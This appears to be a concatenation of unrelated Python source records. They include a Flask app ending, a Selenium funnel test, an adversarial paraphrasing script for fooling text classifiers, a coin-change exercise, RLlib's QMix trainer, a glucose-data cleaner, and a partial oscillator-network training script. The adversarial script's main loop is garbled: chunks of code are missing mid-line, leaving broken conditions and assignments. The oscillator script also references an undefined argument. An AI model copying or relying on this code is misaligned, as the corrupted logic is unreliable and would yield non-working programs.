app.logger.info('errors')\n\n#----------------------------------------------------------------------------#\n# Launch.\n#----------------------------------------------------------------------------#\n\n# Default port:\nif __name__ == '__main__':\n app.run()\n\n# Or specify port manually:\n'''\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n'''\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":20761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"538723746","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom tools.text_search import Text\nimport time\n\n\nclass Aa40_Upsell():\n\n def __init__(self, driver):\n self.driver = driver\n\n def aa40Upsell_normal(self):\n print(\"============ aa40 Upsell Banned words Start ===============\")\n go = Text(self.driver)\n go.bannedWords(self.driver)\n print(\"====== aa40_Index banned words finish ===============\")\n\n getButton = self.driver.find_element(By.LINK_TEXT, 'Get Abs After 40 Now!')\n getButton.click()\n time.sleep(6)\n\n def aa40Upsell_sbsp(self):\n print(\"============ aa40_sbsp Banned words Start ===============\")\n go = Text(self.driver)\n go.bannedWords(self.driver)\n print(\"====== aa40_Index banned words finish ===============\")\n\n #Bugged https://trello.com/c/qO3xlPYy/1404-request-add-id-to-button\n upgradeButton = self.driver.find_element(By.CLASS_NAME, \"buybutton\")\n upgradeButton.click()\n\n\n\n","sub_path":"automated_funnels/pages/upsells/aa40_Upsell.py","file_name":"aa40_Upsell.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"425770887","text":"from __future__ import print_function\nimport csv\nimport logging\nimport argparse\nfrom math import exp\nimport math\nfrom copy import copy\nimport torch.optim as optim\nimport torch.nn as nn\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nfrom torchtext import data\nimport nltk\nfrom nltk import word_tokenize\nfrom gensim.models.keyedvectors import KeyedVectors\nimport time\nfrom lm import NGramLangModel\nimport sys\nsys.path.append('../../paraphraser/paraphraser')\nfrom util import *\nimport spacy\nfrom inference import *\nimport wmd\nimport re\nimport torch.nn.functional as F\n# load the paraphraser\nparaphraser = Paraphraser('../../paraphraser/train-20180325-001253/model-171856')\ntokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\nnlp = spacy.load('en', create_pipeline=wmd.WMD.create_spacy_pipeline)\nNGRAM = 3\nTAU = 0.7\nN_NEIGHBOR = 15\nN_REPLACE = 5\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('sentence_delta', help= 'percentage of allowed sentence paraphasing')\n parser.add_argument('word_delta', help= 'percentage of allowed word paraphasing')\n parser.add_argument('model', help='model: either CNN or LSTM')\n parser.add_argument('train_path', help='Path to training data')\n parser.add_argument('test_path', help='Path to testing data')\n parser.add_argument('output_path', help='Path to output changed test data')\n parser.add_argument('--embedding_path', action='store', dest='embedding_path',\n help='Path to pre-trained embedding data')\n parser.add_argument('--model_path', action='store', dest='model_path',\n help='Path to pre-trained classifier model')\n parser.add_argument('max_size', help='max amount of transformations to be processed by each iteration')\n parser.add_argument('--first_label', help='The name of the first label that the model sees in the \\\n training data. The model will automatically set it to be the positive label. \\\n For instance, in the fake news dataset, the first label is FAKE.')\n return parser.parse_args()\n\n\nclass CNN(nn.Module):\n def __init__(self, sentence_len=200, kernel_sizes=[3,4,5], num_filters=100, embedding_dim=300, pretrained_embeddings=None):\n super(CNN, self).__init__()\n self.sentence_len=sentence_len\n use_cuda = torch.cuda.is_available()\n self.kernel_sizes = kernel_sizes\n vocab_size=len(pretrained_embeddings)\n print(vocab_size)\n self.embedding = nn.Embedding(vocab_size, embedding_dim)\n self.embedding.weight.data.copy_(pretrained_embeddings)\n self.embedding.weight.requires_grad = False #mode==\"nonstatic\"\n if use_cuda:\n self.embedding = self.embedding.cuda()\n conv_blocks = []\n for kernel_size in kernel_sizes:\n # maxpool kernel_size must <= sentence_len - kernel_size+1, otherwise, it could output empty\n maxpool_kernel_size = sentence_len - kernel_size +1\n conv1d = nn.Conv1d(in_channels = 1, out_channels = num_filters, kernel_size = kernel_size*embedding_dim, stride = embedding_dim)\n\n component = nn.Sequential(\n conv1d,\n nn.ReLU(),\n nn.MaxPool1d(kernel_size = maxpool_kernel_size)\n )\n if use_cuda:\n component = component.cuda()\n\n conv_blocks.append(component)\n self.conv_blocks = nn.ModuleList(conv_blocks) # ModuleList is needed for registering parameters in conv_blocks\n self.fc = nn.Linear(num_filters*len(kernel_sizes), 2)\n\n def forward(self, x): # x: (batch, sentence_len)\n x = self.embedding(x) # embedded x: (batch, sentence_len, embedding_dim)\n # input: (batch, in_channel=embedding_dim, in_length=sentence_len),\n # output: (batch, out_channel=num_filters, out_length=sentence_len-...)\n x = x.view(x.size(0), 1, -1) # needs to convert x to (batch, 1, sentence_len*embedding_dim)\n x_list= [conv_block(x) for conv_block in self.conv_blocks]\n out = torch.cat(x_list, 2)\n out = out.view(out.size(0), -1)\n feature_extracted = out\n return F.softmax(self.fc(out), dim=1), feature_extracted\n\n\nclass Attacker(object):\n ''' main part of the attack model '''\n def __init__(self, X, opt):\n self.opt=opt\n self.suffix=str(opt.sentence_delta)+'-'+str(opt.word_delta)\n self.DELTA_W=int(opt.word_delta)*0.1\n self.DELTA_S=int(opt.sentence_delta)*0.1\n self.TAU_2=2\n self.TAU_wmd_s = 0.75\n self.TAU_wmd_w=0.75\n # want do sentence level paraphrase first\n X=[doc.split() for doc in X]\n logging.info(\"Initializing language model...\")\n print(\"Initializing language model...\")\n self.lm = NGramLangModel(X, NGRAM)\n logging.info(\"Initializing word vectors...\")\n print(\"Initializing word vectors...\")\n self.w2v = KeyedVectors.load_word2vec_format(opt.embedding_path, binary=False)\n logging.info(\"Loading pre-trained classifier...\")\n print(\"Loading pre-trained classifier...\")\n self.model = torch.load(opt.model_path, map_location=lambda storage, loc: storage)\n if torch.cuda.is_available():\n self.model.cuda()\n logging.info(\"Initializing vocabularies...\")\n print(\"Initializing vocabularies...\")\n self.src_vocab, self.label_vocab = self.load_vocab(opt.train_path)\n # to compute the gradient, we need to set up the optimizer first\n self.criterion = nn.CrossEntropyLoss()\n\n def word_paraphrase(self, words, poses, list_neighbors, y):\n candidates = [words]\n j=1\n if self.opt.model=='LSTM':\n max_size=int(self.opt.max_size)//len(words)\n else:\n max_size=int(self.opt.max_size)//self.model.sentence_len\n for pos in poses:\n closest_neighbors=list_neighbors[pos]\n if not closest_neighbors:\n j+=1\n continue\n current_candidates= copy(candidates)\n for repl in closest_neighbors:\n for c in candidates:\n if len(current_candidates)>max_size:\n break\n corrupted = copy(c)\n corrupted[pos] = repl\n current_candidates.append(corrupted)\n candidates=copy(current_candidates)\n if len(candidates)>max_size:\n break\n j+=1\n if candidates:\n if self.opt.model=='LSTM':\n candidate_var = text_to_var(candidates, self.src_vocab)\n pred_probs = self.model(candidate_var)\n log_pred_prob, best_candidate_id = pred_probs[:, 1-y].max(dim=0)\n new_words = candidates[best_candidate_id.data[0]]\n pred_prob = exp(log_pred_prob.data[0])\n elif self.opt.model=='CNN':\n candidate_var = self.text_to_var_CNN(candidates, self.src_vocab)\n pred_probs,_ = self.model(candidate_var)\n log_pred_prob, best_candidate_id = pred_probs[:, 1-y].max(dim=0)\n new_words = candidates[best_candidate_id.data[0]]\n pred_prob = log_pred_prob.data[0]\n else:\n print('empty candidates!')\n return new_words, pred_prob, j\n\n def hidden(self, hidden_dim):\n if torch.cuda.is_available():\n h0=Variable(torch.zeros(1,1,hidden_dim).cuda())\n c0=Variable(torch.zeros(1,1,hidden_dim).cuda())\n else:\n h0=Variable(torch.zeros(1,1,hidden_dim))\n c0=Variable(torch.zeros(1,1,hidden_dim))\n return (h0,c0)\n\n def forward_lstm(self, embed,model): #copying the structure of LSTMClassifer, just omitting the first embedding layer\n lstm_out, hidden0= model.rnn(embed, self.hidden(512))\n y=model.linear(lstm_out[-1])\n return y\n def forward_cnn(self,embed,model):\n x_list= [conv_block(embed) for conv_block in model.conv_blocks]\n out = torch.cat(x_list, 2)\n out = out.view(out.size(0), -1)\n return F.softmax(model.fc(out), dim=1)\n def text_to_var_CNN(self, docs, vocab):\n tensor = []\n max_len = self.model.sentence_len \n for doc in docs:\n vec = []\n for tok in doc:\n vec.append(vocab.stoi[tok])\n if len(doc) < max_len:\n vec += [0]*(max_len-len(doc)) \n else:\n vec=vec[:max_len]\n tensor.append(vec)\n var = Variable(torch.LongTensor(tensor))\n if torch.cuda.is_available():\n var = var.cuda()\n return var\n\n \n def sentence_paraphrase(self, y, sentences, changed_pos, list_closest_neighbors):\n candidates = []\n responding_pos = [] # the index of the changed sentence\n for i, sentence in enumerate(sentences):\n if i in changed_pos:\n continue\n j=0\n for p in list_closest_neighbors[i]:\n new_sentence=copy(sentences)\n new_sentence[i]=p\n new_sentence=(\" \".join(new_sentence)).split()\n candidates.append(new_sentence)\n responding_pos.append((i,j))\n j+=1\n\n if candidates:\n m=len(candidates)\n if self.opt.model=='LSTM':\n n=max([len(candidates[i]) for i in range(m)])\n else: n=self.model.sentence_len\n b=np.random.permutation(m)[:int(self.opt.max_size)//n]\n candidates=[candidates[i] for i in b]\n responding_pos= [responding_pos[i] for i in b]\n if self.opt.model=='LSTM':\n candidate_var = text_to_var(candidates, self.src_vocab)\n pred_probs = self.model(candidate_var)\n log_pred_prob, best_candidate_id = pred_probs[:, 1-y].max(dim=0)\n final_pos=responding_pos[best_candidate_id.data[0]][0]\n final_choice=responding_pos[best_candidate_id.data[0]][1]\n pred_prob = exp(log_pred_prob.data[0])\n else:\n candidate_var = self.text_to_var_CNN(candidates, self.src_vocab)\n pred_probs,_ = self.model(candidate_var)\n log_pred_prob, best_candidate_id = pred_probs[:, 1-y].max(dim=0)\n final_pos=responding_pos[best_candidate_id.data[0]][0]\n final_choice=responding_pos[best_candidate_id.data[0]][1]\n pred_prob = log_pred_prob.data[0] \n print('final changed pos '+str(final_pos)+' from '+sentences[final_pos]+' ------->>>>> '+list_closest_neighbors[final_pos][final_choice]+', score='+str(pred_prob))\n sentences[final_pos]=list_closest_neighbors[final_pos][final_choice]\n return sentences, final_pos, pred_prob\n else:\n return sentences, -1, 0\n def load_vocab(self, path):\n src_field = data.Field()\n label_field = data.Field(pad_token=None, unk_token=None)\n dataset = data.TabularDataset(\n path=path, format='tsv',\n fields=[('text', src_field), ('label', label_field)]\n )\n src_field.build_vocab(dataset, max_size=100000, min_freq=2, vectors=\"glove.6B.300d\")\n label_field.build_vocab(dataset)\n return src_field.vocab, label_field.vocab\n\n def attack(self, count, doc, y):\n best_score=0.0\n st=time.time()\n #--------------------------------------------sentence paraphrasing--------------------------------------------#\n sentences=tokenizer.tokenize(doc)\n print('before classification')\n if not(doc.split()): return doc, 0, -1\n if self.opt.model=='CNN': \n doc_var = self.text_to_var_CNN([doc.split()], self.src_vocab)\n else:\n doc_var = text_to_var([doc.split()],self.src_vocab)\n orig_prob, orig_pred = classify(doc_var, self.model)\n pred, pred_prob = orig_pred, orig_prob\n if not (pred == y or pred_prob < TAU):\n return doc.split(), pred_prob, -1\n num_replaced=0\n changed_pos=set()\n # first get all the paraphrases for each sentence\n list_closest_neighbors=[]\n for i, sentence in enumerate(sentences):\n doc1=nlp(sentence)\n closest_neighbors=[]\n sentence=re.sub(\"[^a-zA-Z0-9@()*.,-:\\?!/ ]\",\"\",sentence)\n valid_words=[self.src_vocab.stoi[w] for w in word_tokenize(sentence)]\n bad_words= sum([i==0 for i in valid_words]) \n if len(word_tokenize(sentence))>60 or bad_words>=0.2*len(valid_words) or bad_words>=3 or len(sentence)>500:\n paraphrases=[]\n else:\n print(count,i,sentence)\n paraphrases = paraphraser.sample_paraphrase(sentence, sampling_temp=0.75, how_many=N_NEIGHBOR)\n for p in paraphrases:\n doc2=nlp(p)\n score=doc1.similarity(doc2)\n if score>=self.TAU_wmd_s: \n closest_neighbors.append(p)\n list_closest_neighbors.append(closest_neighbors)\n while (pred == y or pred_prob < TAU) and time.time()-st<3600 \\\n and num_replaced < self.DELTA_S * len(sentences): \n new_sentences, pos, pred_prob = self.sentence_paraphrase(y, sentences, changed_pos, list_closest_neighbors)\n if pos==-1 or pred_prob=best_score: sentences=copy(new_sentences)\n best_score=max(best_score,pred_prob)\n s=(\" \".join(new_sentences)).split()\n if self.opt.model=='LSTM':\n var=text_to_var([s], self.src_vocab)\n else:\n var=self.text_to_var_CNN([s], self.src_vocab)\n ns=negative_score(var, self.model, y)\n best_score = min(ns,best_score)\n pred_prob=best_score\n num_replaced += 1\n if pred_prob>0.5:\n pred=1-y\n #---------------------------------word paraphrasing----------------------------------------------#\n doc=\" \".join(sentences)\n words=doc.split()\n words_before=copy(words)\n best_words=copy(words)\n # check if the value of this doc to be right\n if self.opt.model=='LSTM':\n doc_var = text_to_var([words], self.src_vocab)\n else:\n doc_var = self.text_to_var_CNN([words], self.src_vocab)\n c_prob = negative_score(doc_var, self.model, y)\n ### turns out they are different, weird, will fix that\n best_score=c_prob\n # wanna save the following things: [document, pred, changed_pos] after sentence paraphrasing, as well as after word paraphrasing\n dump_p_row(self.opt.output_path+'_per_sentence'+self.suffix+'.csv',[count, doc, pred, pred_prob, list(changed_pos)])\n if not (pred == y or pred_prob < TAU):\n return words, pred_prob, 0 \n # now word level paraphrasing\n list_closest_neighbors=[]\n for pos, w in enumerate(words):\n if self.opt.model=='CNN' and pos>=self.model.sentence_len: break\n try:\n closest_neighbors = self.w2v.most_similar(positive=[w.lower()], topn=N_NEIGHBOR)\n except:\n closest_neighbors=[]\n closest_paraphrases=[]\n closest_paraphrases.extend(closest_neighbors)\n # check if the words make sense\n valid_paraphrases=[]\n doc1=nlp(w)\n for repl,repl_sim in closest_paraphrases:\n doc2=nlp(repl) #' '.join(repl_words))\n score=doc1.similarity(doc2)\n syntactic_diff = self.lm.log_prob_diff(words, pos, repl)\n logging.debug(\"Syntactic difference: %f\", syntactic_diff)\n if score>=self.TAU_wmd_w and syntactic_diff <= self.TAU_2:\n valid_paraphrases.append(repl)\n list_closest_neighbors.append(valid_paraphrases) #closest_neighbors)\n if not closest_paraphrases: #neighbors:\n print('find no neighbor for word: '+w)\n changed_pos=set()\n iteration=0\n recompute=True\n n_change=0\n if self.opt.model=='CNN':\n lword=min(len(words), self.model.sentence_len)\n else: lword=len(words)\n while (pred == y or pred_prob < TAU) and time.time()-st<3600 \\\n and n_change < self.DELTA_W * lword and len(changed_pos)+N_REPLACE=self.model.sentence_len: break\n if pos in changed_pos or not list_closest_neighbors[pos]:\n continue # don't want to change again, or if there's no choice of replacement\n if self.opt.model=='CNN':\n a=grad_data[pos,:]\n else:\n a=embed_doc.grad.data[pos,0,:].view(300)\n score[pos]=torch.dot(a,a)\n min_score=[]\n valid_n=0\n for i in range(len(list_closest_neighbors)):\n if list_closest_neighbors[i] and not i in changed_pos:\n min_score.append(-score[i]) \n valid_n+=1\n else:\n min_score.append(10000)\n indices=np.argsort(min_score)\n if valid_nbest_score:\n best_words=copy(words)\n best_score=pred_prob\n else:\n words=copy(best_words)\n recompute=False\n if pred_prob>0.5:\n pred=1-y\n n_change=sum([0 if words_before[i]==words[i] else 1 for i in range(len(words))])\n dump_p_row(self.opt.output_path+'_per_word'+self.suffix+'.csv', [count, best_words, pred, pred_prob, list(changed_pos)])\n print('after change:',' '.join(best_words),best_score)\n print(n_change, len(words_before), len(best_words), lword)\n return best_words, pred_prob, n_change*10.0/lword if best_words else 0\n\ndef main():\n opt = parse_args()\n X_train, y_train =read_data(opt.train_path, opt.first_label)\n X, y = read_data(opt.test_path, opt.first_label)\n attacker=Attacker(X_train,opt)\n del X_train \n del y_train\n suc=0\n suffix=str(opt.sentence_delta)+'-'+str(opt.word_delta)\n for count, doc in enumerate(X):\n logging.info(\"Processing %d/%d documents\", count + 1, len(X))\n print(\"Processing %d/%d documents, success %d/%d\", count+1, len(X), suc, count)\n changed_doc, flag, num_changed = attacker.attack(count, doc, y[count])\n try:\n v=float(flag)\n if v>0.7:\n suc+=1\n changed_y=y[count]\n else:\n changed_y=1-y[count]\n except:\n changed_y=1-y[count]\n dump_row(opt.output_path+suffix+'.tsv', changed_doc, changed_y)\n fout = open(opt.output_path+'_count'+suffix+'.csv','a')\n fout.write(str(count)+','+str(flag)+','+str(num_changed)+'\\n')\n fout.close()\nif __name__ == '__main__':\n main()\n","sub_path":"src/joint_attack.py","file_name":"joint_attack.py","file_ext":"py","file_size_in_byte":21606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"501015762","text":"#Lab 18\n#Nabeel Khan\n#Nabeel.khan24@myhunter.cuny.edu\n#March 4, 2020\n#This program takes in the number of cents and outputs the number of coins\n\ncents = int(input('Enter the number of cents'))\n\nquarters = cents / 25\ncents = cents % 25\n\ndimes = cents / 10\ncents = cents % 10\n\nnickels = cents / 5\ncents = cents % 5\n\nprint(\"Quarters: \", quarters)\nprint(\"Dimes: \", dimes)\nprint(\"Nickels: \", nickels)\nprint(\"Cents :\", cents)","sub_path":"Lab 18.py","file_name":"Lab 18.py","file_ext":"py","file_size_in_byte":419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"421294280","text":"from typing import Type\n\nfrom ray.rllib.agents.trainer import with_common_config\nfrom ray.rllib.agents.dqn.simple_q import SimpleQTrainer\nfrom ray.rllib.agents.qmix.qmix_policy import QMixTorchPolicy\nfrom ray.rllib.execution.rollout_ops import (\n synchronous_parallel_sample,\n)\nfrom ray.rllib.execution.train_ops import (\n multi_gpu_train_one_step,\n train_one_step,\n)\nfrom ray.rllib.policy.policy import Policy\nfrom ray.rllib.utils.annotations import override\nfrom ray.rllib.utils.deprecation import DEPRECATED_VALUE\nfrom ray.rllib.utils.metrics import (\n LAST_TARGET_UPDATE_TS,\n NUM_AGENT_STEPS_SAMPLED,\n NUM_ENV_STEPS_SAMPLED,\n NUM_TARGET_UPDATES,\n SYNCH_WORKER_WEIGHTS_TIMER,\n)\nfrom ray.rllib.utils.replay_buffers.utils import sample_min_n_steps_from_buffer\nfrom ray.rllib.utils.typing import ResultDict, TrainerConfigDict\n\n# fmt: off\n# __sphinx_doc_begin__\nDEFAULT_CONFIG = with_common_config({\n # === QMix ===\n # Mixing network. Either \"qmix\", \"vdn\", or None\n \"mixer\": \"qmix\",\n # Size of the mixing network embedding\n \"mixing_embed_dim\": 32,\n # Whether to use Double_Q learning\n \"double_q\": True,\n # Optimize over complete episodes by default.\n \"batch_mode\": \"complete_episodes\",\n\n # === Exploration Settings ===\n \"exploration_config\": {\n # The Exploration class to use.\n \"type\": \"EpsilonGreedy\",\n # Config for the Exploration class' constructor:\n \"initial_epsilon\": 1.0,\n \"final_epsilon\": 0.01,\n # Timesteps over which to anneal epsilon.\n \"epsilon_timesteps\": 40000,\n\n # For soft_q, use:\n # \"exploration_config\" = {\n # \"type\": \"SoftQ\"\n # \"temperature\": [float, e.g. 1.0]\n # }\n },\n\n # === Evaluation ===\n # Evaluate with epsilon=0 every `evaluation_interval` training iterations.\n # The evaluation stats will be reported under the \"evaluation\" metric key.\n # Note that evaluation is currently not parallelized, and that for Ape-X\n # metrics are already only reported for the lowest epsilon workers.\n \"evaluation_interval\": None,\n # Number of episodes to run per evaluation period.\n \"evaluation_duration\": 10,\n # Switch to greedy actions in evaluation workers.\n \"evaluation_config\": {\n \"explore\": False,\n },\n\n # Minimum env sampling timesteps to accumulate within a single `train()` call. This\n # value does not affect learning, only the number of times `Trainer.step_attempt()`\n # is called by `Trauber.train()`. If - after one `step_attempt()`, the env sampling\n # timestep count has not been reached, will perform n more `step_attempt()` calls\n # until the minimum timesteps have been executed. Set to 0 for no minimum timesteps.\n \"min_sample_timesteps_per_reporting\": 1000,\n # Update the target network every `target_network_update_freq` steps.\n \"target_network_update_freq\": 500,\n\n # === Replay buffer ===\n \"replay_buffer_config\": {\n # Use the new ReplayBuffer API here\n \"_enable_replay_buffer_api\": True,\n \"type\": \"SimpleReplayBuffer\",\n # Size of the replay buffer in batches (not timesteps!).\n \"capacity\": 1000,\n \"learning_starts\": 1000,\n },\n\n # === Optimization ===\n # Learning rate for RMSProp optimizer\n \"lr\": 0.0005,\n # RMSProp alpha\n \"optim_alpha\": 0.99,\n # RMSProp epsilon\n \"optim_eps\": 0.00001,\n # If not None, clip gradients during optimization at this value\n \"grad_norm_clipping\": 10,\n # Update the replay buffer with this many samples at once. Note that\n # this setting applies per-worker if num_workers > 1.\n \"rollout_fragment_length\": 4,\n # Minimum batch size used for training (in timesteps). With the default buffer\n # (ReplayBuffer) this means, sampling from the buffer (entire-episode SampleBatches)\n # as many times as is required to reach at least this number of timesteps.\n \"train_batch_size\": 32,\n\n # === Parallelism ===\n # Number of workers for collecting samples with. This only makes sense\n # to increase if your environment is particularly slow to sample, or if\n # you\"re using the Async or Ape-X optimizers.\n \"num_workers\": 0,\n # Whether to compute priorities on workers.\n \"worker_side_prioritization\": False,\n # Prevent reporting frequency from going lower than this time span.\n \"min_time_s_per_reporting\": 1,\n\n # === Model ===\n \"model\": {\n \"lstm_cell_size\": 64,\n \"max_seq_len\": 999999,\n },\n # Only torch supported so far.\n \"framework\": \"torch\",\n\n # Deprecated keys:\n # Use `replay_buffer_config.learning_starts` instead.\n \"learning_starts\": DEPRECATED_VALUE,\n # Use `replay_buffer_config.capacity` instead.\n \"buffer_size\": DEPRECATED_VALUE,\n})\n# __sphinx_doc_end__\n# fmt: on\n\n\nclass QMixTrainer(SimpleQTrainer):\n @classmethod\n @override(SimpleQTrainer)\n def get_default_config(cls) -> TrainerConfigDict:\n return DEFAULT_CONFIG\n\n @override(SimpleQTrainer)\n def validate_config(self, config: TrainerConfigDict) -> None:\n # Call super's validation method.\n super().validate_config(config)\n\n if config[\"framework\"] != \"torch\":\n raise ValueError(\"Only `framework=torch` supported so far for QMixTrainer!\")\n\n @override(SimpleQTrainer)\n def get_default_policy_class(self, config: TrainerConfigDict) -> Type[Policy]:\n return QMixTorchPolicy\n\n @override(SimpleQTrainer)\n def training_iteration(self) -> ResultDict:\n \"\"\"QMIX training iteration function.\n\n - Sample n MultiAgentBatches from n workers synchronously.\n - Store new samples in the replay buffer.\n - Sample one training MultiAgentBatch from the replay buffer.\n - Learn on the training batch.\n - Update the target network every `target_network_update_freq` steps.\n - Return all collected training metrics for the iteration.\n\n Returns:\n The results dict from executing the training iteration.\n \"\"\"\n # Sample n batches from n workers.\n new_sample_batches = synchronous_parallel_sample(\n worker_set=self.workers, concat=False\n )\n\n for batch in new_sample_batches:\n # Update counters.\n self._counters[NUM_ENV_STEPS_SAMPLED] += batch.env_steps()\n self._counters[NUM_AGENT_STEPS_SAMPLED] += batch.agent_steps()\n # Store new samples in the replay buffer.\n self.local_replay_buffer.add(batch)\n\n # Sample n batches from replay buffer until the total number of timesteps\n # reaches `train_batch_size`.\n train_batch = sample_min_n_steps_from_buffer(\n replay_buffer=self.local_replay_buffer,\n min_steps=self.config[\"train_batch_size\"],\n count_by_agent_steps=self._by_agent_steps,\n )\n if train_batch is None:\n return {}\n\n # Learn on the training batch.\n # Use simple optimizer (only for multi-agent or tf-eager; all other\n # cases should use the multi-GPU optimizer, even if only using 1 GPU)\n if self.config.get(\"simple_optimizer\") is True:\n train_results = train_one_step(self, train_batch)\n else:\n train_results = multi_gpu_train_one_step(self, train_batch)\n\n # TODO: Move training steps counter update outside of `train_one_step()` method.\n # # Update train step counters.\n # self._counters[NUM_ENV_STEPS_TRAINED] += train_batch.env_steps()\n # self._counters[NUM_AGENT_STEPS_TRAINED] += train_batch.agent_steps()\n\n # Update target network every `target_network_update_freq` steps.\n cur_ts = self._counters[NUM_ENV_STEPS_SAMPLED]\n last_update = self._counters[LAST_TARGET_UPDATE_TS]\n if cur_ts - last_update >= self.config[\"target_network_update_freq\"]:\n to_update = self.workers.local_worker().get_policies_to_train()\n self.workers.local_worker().foreach_policy_to_train(\n lambda p, pid: pid in to_update and p.update_target()\n )\n self._counters[NUM_TARGET_UPDATES] += 1\n self._counters[LAST_TARGET_UPDATE_TS] = cur_ts\n\n # Update weights and global_vars - after learning on the local worker - on all\n # remote workers.\n global_vars = {\n \"timestep\": self._counters[NUM_ENV_STEPS_SAMPLED],\n }\n # Update remote workers' weights and global vars after learning on local worker.\n with self._timers[SYNCH_WORKER_WEIGHTS_TIMER]:\n self.workers.sync_weights(global_vars=global_vars)\n\n # Return all collected metrics for the iteration.\n return train_results\n","sub_path":"rllib/agents/qmix/qmix.py","file_name":"qmix.py","file_ext":"py","file_size_in_byte":8689,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"205086817","text":"# script for processing HypoSevere_Type1_200subjects\r\n# Author: Sangaman Senthil\r\n# Date: February 5th, 2020\r\n\r\nimport pandas as pd\r\n\r\n# reading csv from raw data location\r\ndf = pd.read_csv(\"Google Drive/CGMprojectSpring2020/Datasets/HypoSevere_Type1_200subjects/RawData/RawData.txt\", sep=\"|\", low_memory=False)\r\n# drop unwanted columns\r\ndf = df.drop(columns=['RecID', 'BCGMDeviceType', 'BFileType', 'CalBG'])\r\n# rename columns\r\ndf = df.rename(columns={'PtID': 'id', 'DeviceDaysFromEnroll': 'time', 'DeviceTm': 'tm', 'Glucose': 'gl'})\r\n\r\n# meeting format standards\r\nfunction = lambda x: \"1990-01-\" + str(x+1)\r\n# applying function to each element in Days Been column\r\ndf['time'] = df['time'].apply(function)\r\n\r\n# combining the time and date column into one\r\ndf['time'] = df['time'] + \" \" + df['tm']\r\n# dropping unwanted time column since date and time have been combine\r\ndf = df.drop(columns=['tm'])\r\n\r\n\r\n# export final data set as csv (index = False drops the index column when exporting to csv)\r\ndf.to_csv(r\"Google Drive/CGMprojectSpring2020/Datasets/HypoSevere_Type1_200subjects/CleanData/HypoSevere_Type1_200subjects.csv\", index=False)\r\n\r\n","sub_path":"hyposevere_conv.py","file_name":"hyposevere_conv.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"535808987","text":"import os\nimport net\nimport time\nimport argparse\nimport torch as tc\nimport numpy as np\nfrom torch import nn\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nimport kura_visual as kv\n\n\n\"\"\"\nDataParallel\nkuramoto and loss_func_ex are integrated into an nn.Module to operate parallel calculation\n\"\"\"\n\n\ndef read_data(data_inds, path, valid=False):\n images = np.zeros((len(data_inds), img_side, img_side))\n masks = np.zeros((len(data_inds), group_size, img_side ** 2))\n b = 0\n for data_ind in data_inds:\n data = np.load(path + '/img_' + str(data_ind).rjust(4, '0') + '.npy')\n image = data[0, ...].reshape(1, img_side, img_side)\n mask = data[1:, ...].reshape(1, group_size, img_side ** 2)\n\n images[b, ...] = image\n masks[b, ...] = mask\n b += 1\n if not valid:\n return tc.tensor(images).float().to(args.device), tc.tensor(masks).float().to(args.device)\n else:\n return tc.tensor(images).float().detach().to(args.device), tc.tensor(masks).float().detach().to(args.device)\n\n\ndef display(displayer, phase_list, image, mask, coupling, path, name):\n colored_mask = (np.expand_dims(np.expand_dims(np.arange(group_size), axis=0), axis=-1) * mask / group_size).sum(1)\n displayer.set_phases(phase_list)\n displayer.set_masks(mask)\n displayer.compute_properties()\n\n displayer.animate_evol_compare(img_side, img_side, compare=image, save_name=path + '/ani_' + name)\n displayer.static_evol(img_side, img_side, image, path + '/static_' + name, colored_mask)\n displayer.phase_evol2(path + '/phase_' + name)\n\n im = plt.imshow(coupling)\n plt.title('Coupling Matrix')\n plt.gca().grid(False)\n plt.axis('off')\n plt.colorbar(im)\n plt.savefig(path + '/coupling_' + name)\n plt.close()\n\n\n######################\n# argument parser: if_cuda, data path, save path\nparser = argparse.ArgumentParser()\nparser.add_argument('--disable-cuda', action='store_true', help='Disable CUDA')\nparser.add_argument('-t', '--types', type=int)\nparser.add_argument('-sp', '--save-path', type=str, help='where to save data')\nargs = parser.parse_args()\n\n######################\n# device\nargs.device = tc.device('cuda')\ngpu_num = tc.cuda.device_count()\nprint(\"Assigned {} GPUs\".format(gpu_num))\n\n######################\n# parameters\nimg_side = 36 # 36 is what Hinton's experiment used, with bounding box(20 *20, keep ratio) preserving <80% overlapping\ngroup_size = args.types\nnum_cn = 8 # connected neighbours\ncritic_dist = 2 # distance from the center pixel\ntrain_data_num = 10000 # to be changed\ntrain_batch_size = 40 # to be changed\ncv_batch_size = int(train_batch_size / 5)\nreal_train_data_num = train_data_num - int(train_data_num % train_batch_size)\ntrain_epochs = 200\nshow_every = 20\n# One plausible way is to check coupling matrix, it should be pretty smooth not very structured\n# If it is highly structured, need to change either network or learning rate\nkura_update_rate = 1.6 # waiting to explore\n\nepisodes = 8 # If too small, not stable; if too big, taking resources\nanneal = 0.5 # waiting to explore\nlearning_rate = 1e-4 # This is probably the best\nsparsity_weight = 1e-4 # usually introduce large sparsity due to exploding gradients\nshuffle = True # shuffle reading order after every epoch\n\n######################\n# path\nload_dir = '/media/data_cifs/yuwei/osci_save/data/multi-mnist3-new/'\nsave_dir = '/media/data_cifs/yuwei/osci_save/results/'\n\nload_path = load_dir + '{}/train/0'.format(group_size)\nsave_path = save_dir + args.save_path\n\nif not os.path.exists(save_path):\n os.mkdir(save_path)\n\n######################\n# save parameters\nfile = open(save_path + \"/params.txt\", \"w\")\nL = [\"img_side = {} \\n\".format(img_side),\n \"group_size = {}\\n\".format(args.texture_types),\n \"train_data_num = {}\\n\".format(train_data_num),\n \"train_batch_size = {}\\n\".format(train_batch_size),\n \"train_epochs = {}\\n\".format(train_epochs),\n \"show_every = {}\\n\".format(show_every),\n \"kura_update_rate = 